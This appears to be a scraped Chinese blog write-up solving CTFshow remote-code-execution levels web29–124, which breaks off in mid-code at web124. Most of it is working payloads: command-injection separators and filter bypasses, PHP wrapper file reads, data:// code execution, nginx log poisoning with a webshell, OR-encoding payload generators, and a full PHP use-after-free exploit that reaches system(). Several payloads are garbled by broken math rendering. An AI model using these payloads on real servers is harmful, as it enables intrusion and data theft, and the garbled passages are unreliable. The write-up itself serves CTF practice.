0


CTFshow-web入门-rce-web29-124

写在前面

用于命令执行的常见姿势

system

exec

passthru

shell_exec

include(文件包含漏洞,配合php伪协议)

一些常见的绕过方式
Windows支持:

|直接执行后面的语句 ping 127.0.0.1|whoami
||前面出错执行后面的 ,前面为假 ping 2||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

%0a 回车

%1a 作为.bat文件的命令分隔符

Linux支持:

;前面的执行完执行后面的 ping 127.0.0.1;whoami
|管道符,显示后面的执行结果 ping 127.0.0.1|whoami
||当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

%0a 回车

%0d 换行

过滤空格绕过

使用<代替空格

使用${IFS}代替空格

IFS变量的相关信息:

  • Shell把变量IFS内的每一个字符都当做是一个分割符(delimeter),用这些字符作为每一个字段的结束符来进行分割。
  • 如果IFS没有设置,或者IFS的值被设置为"\t\n"(space, tab和 newline),那么操作对象的开始和结束处的所有space, tab和newline序列都将被忽略,但是操作对象中间的space, tab和newline序列会作为界定符工作。
  • 如果IFS值不是默认值(例如程序中对IFS进行设置过),只有出现在IFS内的空白字符(可能是space, tab或newline中的一个或几个)才会在单词开始和结束处被忽略,这里说的是单词,而不是整个操作对象。
  • IFS内的非空白字符多个连续出现时,每个非空白字符会被当做单独的分隔符看待,但是多个连续的空白字符会被当做一个分隔符看待。
  • 如果IFS为空(“null”),则不会进行单词分割。

使用$IFS代替空格

过滤斜杠/绕过

使用${HOME:0:1}代替

php伪协议

PHP 伪协议是 PHP 支持的协议与封装协议,几个 PHP 支持的伪协议如下。
伪协议功能file://访问本地文件系统http://访问 HTTP(s) 网址php://访问各个输入/输出流phar://PHP 归档zip://压缩流
例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。

?file=php://filter/read=convert.base64-encode/resource=index.php

稍微解释下这个做法,php://filter/ 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php。问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。

data 伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain;base64,xxxx(base64编码后的数据)
无回显命令执行

1.tee 从标准输入读取,再写入标准输出和文件。

2.反弹shell

3.dnslog外带

下划线的正则绕过

这个正则的绕过方法就是利用特性来绕过,可以用

[

(空格)

.

上面那几个字符任何一个都行,都可以被处理成_

web29-124

web29

只是过滤了简单的flag字符,直接使用system函数

Payload:

1、用egrep效果一样egrep=grep -E
c=system(“cat flg.php | grep -E ‘fl.g’ ");
2、此种方式需要右键源代码
c=system("cat fl
g.php”);
3、

c=system(“tac flg.php");
4、倒序输出文本
c=system("tac fl
ag.php”);
5、
c=system("cp fl*g.php a.txt ");
访问/a.txt
6、直接输出一个php这样就可以直接利用代码了,注意也是右键查看源代码
c=system(‘echo -e " <?php \n error_reporting(0); \n $c= $_GET[‘c’]; \n eval($c); " > a.php’);
/a.php?c=system(“tac flag.php”);

web30

过滤了system函数,可以用反引号来命令执行

Payload:

1、nl命令,带着行号输出文本内容
c=echo

nl fl''ag.p''hp

;
echo

cat fl''ag.p''hp

;
echo

cat fl*ag.p*hp

;
echo

cp fl*ag.p*hp 1.txt | cat 1.txt

;
单引号:引号里面的内容会原封不动的显示出来(很简单,不做解释)
双引号:里面的特殊符号会被解析,变量也会被替换(\ 符号、空格会被解析)
echo \a -> a
echo “\a” -> \a
2、passthru函数,同system,同理exec,shell_exec也可以用,不过有点麻烦
c=passthru(“cat fla”);
c=exec(passthru(“cat fla
”));
c=shell_exec(passthru(“cat fla*”));

web31

题目过滤了空格,单引号,小数点,

过滤了空格,可以使用%09替代;也可以使用{KaTeX parse error: Expected 'EOF', got '}' at position 4: IFS}̲,因为单引号被过滤了,所以如果…IFS}都不会被解释为空格

所以构造如下Payload:

1、使用eval嵌套。具体参数:passthru 结合%09,也可以直接rce,因为没有对其他参数进行过滤
其中%09绕过空格 ?c=eval($_GET[1]);&1=passthru(“tac%09fla*”); 这里需要注意括号的闭合,&的连接。
2、使用参数:passthru结合 $IFS

      9 
     
    
      其中 
     
    
   
     9 其中 
    
   
 9其中IFS 
  
   
    
    
      9 
     
    
      绕过空格,注意转义 
     
    
   
     9绕过空格,注意转义 
    
   
 9绕过空格,注意转义符号 ?

  
   
    
    
      9 
     
    
      是当前系统 
     
    
      s 
     
    
      h 
     
    
      e 
     
    
      l 
     
    
      l 
     
    
      进程的第九个参数的持有者,它始终为空字符串。 
     
    
      c 
     
    
      = 
     
    
      e 
     
    
      v 
     
    
      a 
     
    
      l 
     
    
      ( 
     
    
   
     9是当前系统shell进程的第九个参数的持有者,它始终为空字符串。c=eval( 
    
   
 9是当前系统shell进程的第九个参数的持有者,它始终为空字符串。c=eval(_GET[1]);&1=passthru(“tac$IFS$9fla*”);

3、使用未被过滤的命令。passthru直接读取
?c=passthru(%22tac$IFS$9fla*%22); 也就是passthru(“tac$IFS$9fla*”);
4、使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web32(nginx日志注入)

过滤掉了flag|system|php|cat|sort|shell|.| |'|`|echo|;|( 包括点,单引号,反引号,分号,括号

所以这里需要使用include来构造Payload:

1、?c=includeKaTeX parse error: Expected 'EOF', got '&' at position 10: _GET[1]?>&̲1=php://filter/…_GET[1]?%3E&1=…/…/…/…/var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

3、?c=include$_GET[1]?>&1=php://input

也可以使用php://input然后使用post执行命令<?php system("cat flag.php")?>

web33

相比上一关只多过滤了“

所以web32Payload依旧适用

web34

多过滤一个: 之前payload依旧适用

web35

多过滤一个= < 之前payload依旧适用

web36

多过滤了数字 GET参数改为a即可

web37
if(!preg match("/flag/i",$c)){include($c);echo$flag;}

1、使用php://input POST写入php代码
<?php system("cat fla*")?>

2、使用data协议

c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
<?php system("tac flag.php") ?>

web38

web37Payload照样打

web39
if(!preg_match("/flag/i",$c)){include($c.".php");}

?c=data://text/plain,<?php%20system("tac fla*.php");?>
?>为php结束符号,后面拼接的.php会被忽略掉,不用管

web40(数组函数)
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$c)){eval($c);}

这次添加了很多过滤,之前方法大多都不行了

1、c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

2、c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(‘tac fl*’);

同理?cmd=system(“tac%20flag.php”);&c=eval(pos(pos(get_defined_vars())));

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

3、c=session_start();system(session_id());
passid=ls

在这里插入图片描述

通过cookie获得参数进行命令执行

受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

web41(rce_or)
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',$c)){eval("echo($c);");}

过滤了

$、+、-、^、~

使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个

|

运算符

根据正则匹配生成可用字符的集合rce_or.php

<?php$myfile=fopen("rce_or.txt","w");$contents="";for($i=0;$i<256;$i++){for($j=0;$j<256;$j++){if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){echo"";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if(ord($c)>=32&ord($c)<=126){$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);

根据可用的字符生成Payload

# -*- coding: utf-8 -*-import requests
import urllib
from sys import*import os
defaction(arg):
   s1=""
   s2=""for i in arg:
       f=open("rce_or.txt","r")whileTrue:
           t=f.readline()if t=="":breakif t[0]==i:#print(i)
               s1+=t[2:5]
               s2+=t[6:9]break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"return(output)whileTrue:
   param=action(input("\n[+] your function:"))+action(input("[+] your command:"))print("\n[*] result:\n"+param)

在这里插入图片描述

web42
$c=$_GET['c'];system($c." >/dev/null 2>&1");

Payload:

?c=cat flag.php; ?c=cat flag.php|| ?c=cat flag.php%26(&) c=nl flag.php%0a ?c=echo

tac fl*

||

使用 " ; " " || " " & " " && " 分隔

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行

web43

多过滤了cat,\和;,使用其他Payload即可

web44

多过滤了flag,使用fla*即可

web45

过滤了空格,使用$IFS或者%09绕过即可

web46

过滤了$和*,Payload如下:

1、?c=nl<fla’'g.php||

2、?c=ca\t<fl\ag.php||

web47
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i",$c)

Payload:

tac%09fl’'ag.php||

web48
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i",$c)

多过滤了一些函数,不过之前Payload可以继续打

web49
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i",$c)

过滤了%,但是可以<

web50
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i",$c)

同上

web51
preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i",$c)

ban了tac但是可以用nl

web52

ban了<>,但是可以用$IFS,而且这次flag放在了根目录

Payload:

?c=nl$IFS/fl’'ag||

web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i",$c)){echo($c);$d=system($c);echo"<br>".$d;}else{echo'no';}

Payload:

1、?c=ta’‘c${IFS}f’'lag.php

2、s’'ort${IFS}f???%0a

web54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i",$c)){system($c);}

Payload:

1、?c=/bin/?at${IFS}f???

2、mv flag.php t.txt

web55(无数字字母的命令执行)
preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i",$c)

过滤了所有字母

在这里插入图片描述

利用post上传文件,然后使用.(source)执行,一般上传后文件在/tmp/php???[@-[]

web56

方法同上

web57(取反)
//flag in 36.php preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i",$c)

过滤了字母数字

通过

$(())

操作构造出36:

$(())

:代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) 

:对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) ))

: -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) 

:再对-2做一次取反得到1,所以值为1

故我们在

$(( ~$(( )) ))

里面放37个

$((~$(())))

,得到-37,取反即可得到36

Payload:

?c=

      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (( 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (()))) 
  
   
    
    
      ( 
     
    
      ( 
     
    
        
     
    
   
     ((~ 
    
   
 (( (())))))))
web58
if(isset($_POST['c'])){$c=$_POST['c'];eval($c);}

Payload:

1、c=show_source(‘flag.php’);

2、c=highlight_file(“flag.php”);

3、c=include($_POST[‘w’]);&w=php://filter/convert.base64-encode/resource=flag.php

4、c=include(“flag.php”);var_dump(get_defined_vars());

web59

Payload同上

web60

Payload同上

web61

Payload同上

web62

Payload同上,不过ban了highlight_file函数

web63

Payload同上

web64

Payload同上

web65

ban了show_source,然后使用php伪协议读取flag.php时,源码显示flag不在这,于是使用data协议读取根目录看到flag.txt

<?phpprint_r(scandir('/'));?>

在这里插入图片描述

因为大部分直接可以命令执行的函数被ban了,看了wp没想到highlight_file没被ban

web66

Payload同上

web67

highlight_file被ban了,但是可以直接用php伪协议读取

web68

Payload同上

implode:把数组元素组合为字符串

冷门函数:读取函数readgzfile:可以读取非gz格式的文件

Payload:

1、?c=echo(implode(‘—’,scandir(“/”)));

2、?c=readgzfile(‘/flag.txt’);

web69

虽然有几个报错但是flag还是出来了

web70
if(isset($_POST['c'])){$c=$_POST['c'];eval($c);$s=ob_get_contents();ob_end_clean();echopreg_replace("/[0-9]|[a-z]/i","?",$s);}else{highlight_file(__FILE__);}

虽然php伪协议可以读,但是结果把数字字母替换了,但是可以执行php代码让后面的匹配缓冲区不执行直接退出exit或die

Payload:

c=readgzfile(‘/flag.txt’);exit(0);

c=include(‘/flag.txt’);exit(0);

web71

Payload同上

web72(glob协议+waf绕过)

flag不在/下了,但是很多查询的函数被ban了

使用glob://伪协议绕过open_basedir

glob可以遍历目录,并且不受disable_functions的限制。

c=?><?php$a=newDirectoryIterator("glob://./*");foreach($aas$f){echo($f->__toString().' ');}exit(0);?>

仔细看看这个代码

<?php$a=newDirectoryIterator("glob:///*");# 利用DirectoryIterator($path)可以实现遍历目录下的所有文件# glob:// — 查找匹配的文件路径模式# DirectoryIterator("glob:///*")   遍历根目录里所有文件foreach($aas$f)#循环遍历输出,并以空格为分隔{echo($f->__toString().' ');}exit(0);?>

其实不加前面

?><?php

也是可以的。eval里的语句可以视为在当前php文件里加了几条语句,这些语句必须是完整的,即必须以

;

或者

?>

结尾来结束语句,但是eval里的?>不会闭合当前的php文件,所以当前php页面后续的语句都是会执行的。

可以看一下下面的图片,eval里的语句可以修改文件的变量值,但是

?>

并不会闭合外面的PHP语句。
在这里插入图片描述

c=functionctfshow($cmd){global$abc,$helper,$backtrace;classVuln{public$a;publicfunction__destruct(){global$backtrace;unset($this->a);$backtrace=(newException)->getTrace();if(!isset($backtrace[1]['args'])){$backtrace=debug_backtrace();}}}classHelper{public$a,$b,$c,$d;}functionstr2ptr(&$str,$p=0,$s=8){$address=0;for($j=$s-1;$j>=0;$j--){$address<<=8;$address|=ord($str[$p+$j]);}return$address;}functionptr2str($ptr,$m=8){$out="";for($i=0;$i<$m;$i++){$out.=sprintf("%c",($ptr&0xff));$ptr>>=8;}return$out;}functionwrite(&$str,$p,$v,$n=8){$i=0;for($i=0;$i<$n;$i++){$str[$p+$i]=sprintf("%c",($v&0xff));$v>>=8;}}functionleak($addr,$p=0,$s=8){global$abc,$helper;write($abc,0x68,$addr+$p-0x10);$leak=strlen($helper->a);if($s!=8){$leak%=2<<($s*8)-1;}return$leak;}functionparse_elf($base){$e_type=leak($base,0x10,2);$e_phoff=leak($base,0x20);$e_phentsize=leak($base,0x36,2);$e_phnum=leak($base,0x38,2);for($i=0;$i<$e_phnum;$i++){$header=$base+$e_phoff+$i*$e_phentsize;$p_type=leak($header,0,4);$p_flags=leak($header,4,4);$p_vaddr=leak($header,0x10);$p_memsz=leak($header,0x28);if($p_type==1&&$p_flags==6){$data_addr=$e_type==2?$p_vaddr:$base+$p_vaddr;$data_size=$p_memsz;}elseif($p_type==1&&$p_flags==5){$text_size=$p_memsz;}}if(!$data_addr||!$text_size||!$data_size)returnfalse;return[$data_addr,$text_size,$data_size];}functionget_basic_funcs($base,$elf){list($data_addr,$text_size,$data_size)=$elf;for($i=0;$i<$data_size/8;$i++){$leak=leak($data_addr,$i*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);if($deref!=0x746e6174736e6f63)continue;}elsecontinue;$leak=leak($data_addr,($i+4)*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);if($deref!=0x786568326e6962)continue;}elsecontinue;return$data_addr+$i*8;}}functionget_binary_base($binary_leak){$base=0;$start=$binary_leak&0xfffffffffffff000;for($i=0;$i<0x1000;$i++){$addr=$start-0x1000*$i;$leak=leak($addr,0,7);if($leak==0x10102464c457f){return$addr;}}}functionget_system($basic_funcs){$addr=$basic_funcs;do{$f_entry=leak($addr);$f_name=leak($f_entry,0,6);if($f_name==0x6d6574737973){returnleak($addr+8);}$addr+=0x20;}while($f_entry!=0);returnfalse;}functiontrigger_uaf($arg){$arg=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln=newVuln();$vuln->a=$arg;}if(stristr(PHP_OS,'WIN')){die('This PoC is for *nix systems only.');}$n_alloc=10;$contiguous=[];for($i=0;$i<$n_alloc;$i++)$contiguous[]=str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc=$backtrace[1]['args'][0];$helper=newHelper;$helper->b=function($x){};if(strlen($abc)==79||strlen($abc)==0){die("UAF failed");}$closure_handlers=str2ptr($abc,0);$php_heap=str2ptr($abc,0x58);$abc_addr=$php_heap-0xc8;write($abc,0x60,2);write($abc,0x70,6);write($abc,0x10,$abc_addr+0x60);write($abc,0x18,0xa);$closure_obj=str2ptr($abc,0x20);$binary_leak=leak($closure_handlers,8);if(!($base=get_binary_base($binary_leak))){die("Couldn't determine binary base address");}if(!($elf=parse_elf($base))){die("Couldn't parse ELF header");}if(!($basic_funcs=get_basic_funcs($base,$elf))){die("Couldn't get basic_functions address");}if(!($zif_system=get_system($basic_funcs))){die("Couldn't get zif_system address");}$fake_obj_offset=0xd0;for($i=0;$i<0x110;$i+=8){write($abc,$fake_obj_offset+$i,leak($closure_obj,$i));}write($abc,0x20,$abc_addr+$fake_obj_offset);write($abc,0xd0+0x38,1,4);write($abc,0xd0+0x68,$zif_system);($helper->b)($cmd);exit();}ctfshow("cat /flag0.txt");ob_end_flush();?>
web73

首先查找flag位置,然后使用文件包含得到flag

Payload:

1、c=var_export(scandir(‘/’));exit(0);c=require_once(‘/flagc.txt’);exit(0);

2、c=?><?php $a=new DirectoryIterator("glob://./*"); foreach($a as $f) { echo($f->__toString().' '); } exit(0); ?>

c=include(‘flagc.txt’);exit(0);

web74

scandir函数被ban了,使用DirectoryIterator类,flag在/flagx.txt

或者使用glob协议

Payload:

c=var_export(glob(‘…/…/…’.‘/*’));exit(0);

web75(Sql load_file)

可以查到flag位置:/flag36.txt 但是include被ban了,之前的poc因为strlen被禁了获取不到system地址也没法用了

可以使用mysql的load_file函数

先查询数据库

c=$dsn="mysql:host=localhost;dbname=information_schema";$db=newPDO($dsn,'root','root');$rs=$db->query("select database()");## $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");foreach($rsas$row){echo($row[0])."|";}exit();

查到了ctftraining的数据库,然后使用load_file读取flag

c=try{$dbh=newPDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();exit(0);}exit(0);
web76

Payload同上

web77(FFI php7.4以上)

FFI,php7.4以上才有

Payload:

$ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象
$a=‘/readflag > 1.txt’; //没有回显,需要重定向到文件

      f 
     
    
      f 
     
    
      i 
     
    
      − 
     
    
      > 
     
    
      s 
     
    
      y 
     
    
      s 
     
    
      t 
     
    
      e 
     
    
      m 
     
    
      ( 
     
    
   
     ffi->system( 
    
   
 ffi−>system(a); //通过$ffi去调用system函数
web118(Bash内置变量)

看到源码有提示

<!--system($code);-->

但几乎常规输入都被ban了

if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/',$code))

经过fuzz爆破了一下可以正常使用的payload只有一些大写字母和符号,可以进行bash内置变量构造

在这里插入图片描述

一般在Linux下环境变量

PATH

一般是

/bin

,题目路径

PWD

/var/www/html

可以利用切片来得到我们需要的字母

echo${PWD}echo${PWD:0:1}echo${PWD:0:3}echo${PWD:1:1}echo${PWD:2:3}echo${PWD:~0:1}          //从末尾开始取一个

但是题目过滤了数字,无法使用切片。换一种方式获取字符。

linux可以利用

~

获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。

echo${PWD}echo${PWD:~0}echo${PWD:~1}echo${PWD:~2}echo${PWD:~j}echo${PWD:~J}

所以,

${PATH:~A}${PWD:~A}

表示的就是

PATH

的最后一个字母和

PWD

的最后一个字母,组合起来就是nl。

flag.php

我们可以用通配符代替

????.???

Payload:

      P 
     
    
      A 
     
    
      T 
     
    
      H 
     
    
      : 
     
    
        
     
    
      A 
     
    
   
     {PATH:~A} 
    
   
 PATH: A{PWD:~A} ???.???
web119

过滤了PATH,所以想来拓展一下Bash变量

${RANDOM}
随机的几个数

${PWD}
/var/www/html

${USER}
www-data

${HOME}
当前用户的主目录

${SHLVL}
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

${RANDOM}
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。${IFS}
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3

在这里插入图片描述

web120

多ban了BASH和HOME,但影响不大

Payload同上

web121

在这里插入图片描述

web122

在这里插入图片描述

web124

2019CISCN初赛原题

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
